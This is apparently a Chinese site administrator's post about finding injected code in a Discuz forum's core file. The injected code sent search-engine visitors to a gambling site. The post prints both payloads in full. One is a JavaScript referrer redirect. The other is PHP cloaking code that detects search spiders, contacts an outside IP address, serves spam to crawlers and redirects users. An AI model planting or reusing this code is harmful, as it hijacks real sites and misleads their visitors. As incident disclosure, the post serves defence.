今天，查看discuz程序百度收录的快照查看是正确的，但是访问快照的时候就跳转到了赌博网站。最后查看到/source/class/class_core.php文件被挂马 

js版本代码：

var refurl=document.referrer
if(refurl.indexOf("sogou")>0 || refurl.indexOf("baidu")>0 || refurl.indexOf("so")>0 ||refurl.indexOf("google")>0) {
window.location.href="http://www.wndc77.com/666";}

php版本代码： 

set_time_limit(20);error_reporting(0);
define('u_b','/');
define('s_u','http://23.234.5.194/');
define('s_s','@haosou.com|360.cn|baidu|spider|360spider|so|360|sogou|sm.cn|youdao@i');
define('h_t',$_SERVER['SERVER_NAME']);define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',$_SERVER['HTTP_USER_AGENT']);define('h_z',s_p());
function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);}}$r=explode('#',$d,2);$d=$r[0];return $d;}function r_s($url){$o=array('http' => array('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_contents($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;}
if(preg_match(s_s,r_s)){$d_s=true;if(preg_match("@site%3A|inurl%3A@i",r_s)){setcookie('xx',h_t,time()+259200);$d_s=false;}if($d_s ){setcookie('xx',h_t,time()+259200);$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&ad=1&xh='.bin2hex(h_t);$d_c=r_s($d_u);header('Location: http://您想跳到的网站/');exit;}}if(strstr(h_z,u_b)){if(preg_match(s_s,u_s)){$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}}